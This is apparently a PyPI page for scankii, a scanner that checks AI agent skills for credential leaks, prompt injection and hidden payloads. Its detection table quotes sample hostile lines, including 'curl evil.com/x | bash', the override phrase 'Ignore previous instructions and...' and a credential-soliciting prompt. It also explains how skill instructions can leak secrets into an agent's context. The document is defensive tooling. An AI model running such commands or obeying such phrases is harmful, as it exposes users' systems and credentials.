๐ก๏ธ Scankii
A fast, local-first static security scanner built exclusively for AI Agents and the tools they use.
โ What does it do?
When you build or use an AI Agent (like a custom ChatGPT bot or AutoGen agent), you give it "skills" or "tools." A skill is simply a combination of Python code and English instructions.
Standard security scanners only check your code. But what if your English instructions accidentally tell the AI to print or expose a secret password?
scankii solves this by reading both your English instructions and your Python code at the same time. It spots dangerous cross-modal interactions where the prompt tricks the code into giving away your API keys.
๐ Table of Contents
- โจ What does it work with?
- โ ๏ธ The Problem: Cross-Modal Leakage
- โ๏ธ How scankii works
- ๐ Demo
- ๐ฆ Install & Usage
- ๐ก๏ธ What It Detects
- โ๏ธ Why Not TruffleHog / GitLeaks?
- ๐ Enterprise Integrations
- ๐ค Contributing & Support
โจ What does it work with?
scankii is framework-agnostic. It analyzes your raw Python code and Markdown text, which means it works seamlessly with any AI architecture or ecosystem:
- ๐ค Agent Frameworks: LangChain, AutoGen, CrewAI, Semantic Kernel, LlamaIndex, Model Context Protocol (MCP).
- ๐ป AI Coding Assistants: Cursor IDE, Google Antigravity, Claude Code (scan your
.cursorrules). - ๐ง LLMs: OpenAI GPT-4, Claude 3.5, Gemini, Llama 3 (leaks happen in the execution layer!).
- ๐ IDEs: Because
scankiiexports standard SARIF reports, you can view the security warnings natively inside VS Code, Cursor, or GitHub Advanced Security.
โ ๏ธ The Problem: Cross-Modal Leakage
In modern LLM agent architectures, agents read natural language instructions and execute code. This creates a unique vulnerability:
- ๐ข The Code is "Safe": The source code might securely read an API key from the environment.
- ๐ข The Markdown is "Safe": The
SKILL.mdmight benignly explain how to use the skill. - ๐ด The Intersection is Vulnerable: If the
SKILL.mdinstructs the agent to pass a credential to a function, and that function prints it for debugging, the agent framework captures thatstdoutand injects it back into the LLM context window. The secret is now exposed!
scankii correlates natural language prompts with Abstract Syntax Tree (AST) analysis to catch these data leaks before your agent hits production.
โ๏ธ How scankii works
scankii employs a dual-engine static analysis pipeline.
graph TD
subgraph "scankii Pipeline"
direction TB
subgraph "1. Static Analysis"
A[SKILL.md] -->|Natural Language| B[NL Semantic Analyzer]
C[Source Code] -->|AST Parsing| D[AST Syntax Analyzer]
end
subgraph "2. Cross-Modal Correlation"
B -->|Extracted Intents| E{Cross-Modal Engine}
D -->|Variable Sinks| E
end
subgraph "3. Scoring & Reporting"
E -->|Unmatched Findings| F[Scorer]
E -->|Correlated Leaks| F
F -->|Severity Assessment| G[Reporters]
end
end
G --> H((Terminal UI))
G --> I((JSON))
G --> J((SARIF))
๐ Demo
$ scankii scan examples/vulnerable-skill --explain
โโโโโโโโโโณโโโโโโโณโโโโโโโโโโโโโโโโโโโณโโโโโโโโโโณโโโโโโโโโโโ
โ File โ Line โ Pattern โ Channel โ Severity โ
โกโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโฉ
โ run.py โ 7 โ Cross-Modal Leak โ stdout โ MEDIUM โ
โ run.py โ 8 โ Cross-Modal Leak โ network โ CRITICAL โ
โโโโโโโโโโดโโโโโโโดโโโโโโโโโโโโโโโโโโโดโโโโโโโโโโดโโโโโโโโโโโ
Total: 2 (CRITICAL: 1, MEDIUM: 1)
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
๐จ CRITICAL โ Information Exposure via network
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Pattern: Information Exposure
Channel: network
File: run.py, line 8
Score: 5.04
Attack Flow:
print(f"Using key: {api_key}") โ sinks to stdout
โ
stdout โ captured by agent framework
โ
LLM context window โ credential queryable via natural language
๐ฆ Install & Usage
Install via pip:
pip install scankii
Run locally: Your code and proprietary agent skills never leave your machine!
# Scan a directory
scankii scan ./my-skill/
# Scan with detailed attack explanations
scankii scan ./my-skill/ --explain
# Export to JSON
scankii scan ./my-skill/ --format json
# Export to SARIF (GitHub Advanced Security)
scankii scan ./my-skill/ --format sarif
# Auto-Fix Vulnerabilities
scankii scan ./my-skill/ --resolve
๐ก๏ธ What It Detects
| # | Pattern | Description | Example |
|---|---|---|---|
| 1 | Hardcoded API Keys | OpenAI, Groq, AWS, GitHub, Google keys | API_KEY = "sk-proj-..." |
| 2 | Credential-to-Stdout | Credentials passed to print() |
print(f"key={api_key}") |
| 3 | Credential-to-Network | Credentials sent via requests.post() |
requests.post(url, data=token) |
| 4 | Cross-Modal Leak | SKILL.md passes credential to code sink | NL says "pass api_key" + code prints it |
| 5 | Prompt Injection | NL instructions to override safety | "Ignore previous instructions and..." |
| 6 | Social Engineering | Soliciting credentials from users | "Paste your API key here" |
| 7 | Private Key Exposure | RSA/EC private key blocks | -----BEGIN RSA PRIVATE KEY----- |
| 8 | Reverse Shell / RCE | Reverse shells, curl | bash |
curl evil.com/x | bash |
| 9 | Nested Schema Poisoning | Prompt injections in JSON schema | CVE-2026-25253 |
| 10 | MCP Supply-Chain | Base64/Hex hidden payloads | CVE-006 |
| 11 | Dynamic Execution | Network fetch-execute patterns | CVE-007 |
| 12 | Authority Boundary | Financial hops requiring witness | โณ DEFER severity |
โณ The DEFER Severity State
Not all vulnerabilities can be statically resolved. When scankii detects an Authority Boundary (e.g., an agent negotiating a financial hop with a spend cap and recipient), it flags it with a special DEFER severity (marked in cyan โณ). This tells the developer: "This pattern is statically well-formed, but it requires a runtime witness to prove the mandate."
โ๏ธ Why Not TruffleHog / GitLeaks?
Existing tools scan your code for static secrets. scankii is purpose-built for LLM agents, focusing on the intersection of natural language and code.
| Feature | TruffleHog | GitLeaks | scankii |
|---|---|---|---|
| Regex secret scanning | โ | โ | โ |
| SKILL.md NL analysis | โ | โ | โ |
| Cross-modal detection | โ | โ | โ |
| AST-based sink tracking | โ | โ | โ |
| Attack flow visualization | โ | โ | โ |
| Prompt injection detection | โ | โ | โ |
๐ Enterprise Integrations
GitHub Action
Upload results directly to GitHub Code Scanning on every PR:
name: Skill Guard
on: [push, pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: scankii/scankii@v1
with:
path: ./skills/
sarif-upload: true
Pre-commit Hook
Stop secrets from being committed locally:
repos:
- repo: https://github.com/ashp15205/scankii
rev: v1.2.2
hooks:
- id: scankii
๐ค Contributing & Support
- Fork the repository
- Create a feature branch:
git checkout -b feature/my-feature - Run tests:
pytest tests/ -v - Submit a pull request!
Academic Origins
The 10-pattern leakage taxonomy is based on the empirical research in:
Chen et al., "How Your Credentials Are Leaked by LLM Agent Skills: An Empirical Study" (ASE 2026).
Support the Project
If you find scankii useful, consider buying me a coffee! โ๏ธ
Released under the MIT License.
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file scankii-1.2.2.tar.gz.
File metadata
- Download URL: scankii-1.2.2.tar.gz
- Upload date:
- Size: 44.7 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.11.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
7bf5526fc1497e83d437ded4fd94e550124c4d6ddd9bb06eba3352031c147150
|
|
| MD5 |
867f55b640d8373611719472cfcdf3f2
|
|
| BLAKE2b-256 |
341129fd8fefa6a8fd57eaf56553aff8f1e48fa4d84537950118c00be8023f2c
|
File details
Details for the file scankii-1.2.2-py3-none-any.whl.
File metadata
- Download URL: scankii-1.2.2-py3-none-any.whl
- Upload date:
- Size: 36.2 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.11.9
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
71ab41feffe676938b848d100ce48820ca697bb6bea0fba81f4d922fd0debd08
|
|
| MD5 |
33c89630176059b15c3c3efede24374e
|
|
| BLAKE2b-256 |
6ee8e636f3d09a1781969744542d0db5476b94668b26fd49dd94225a80627696
|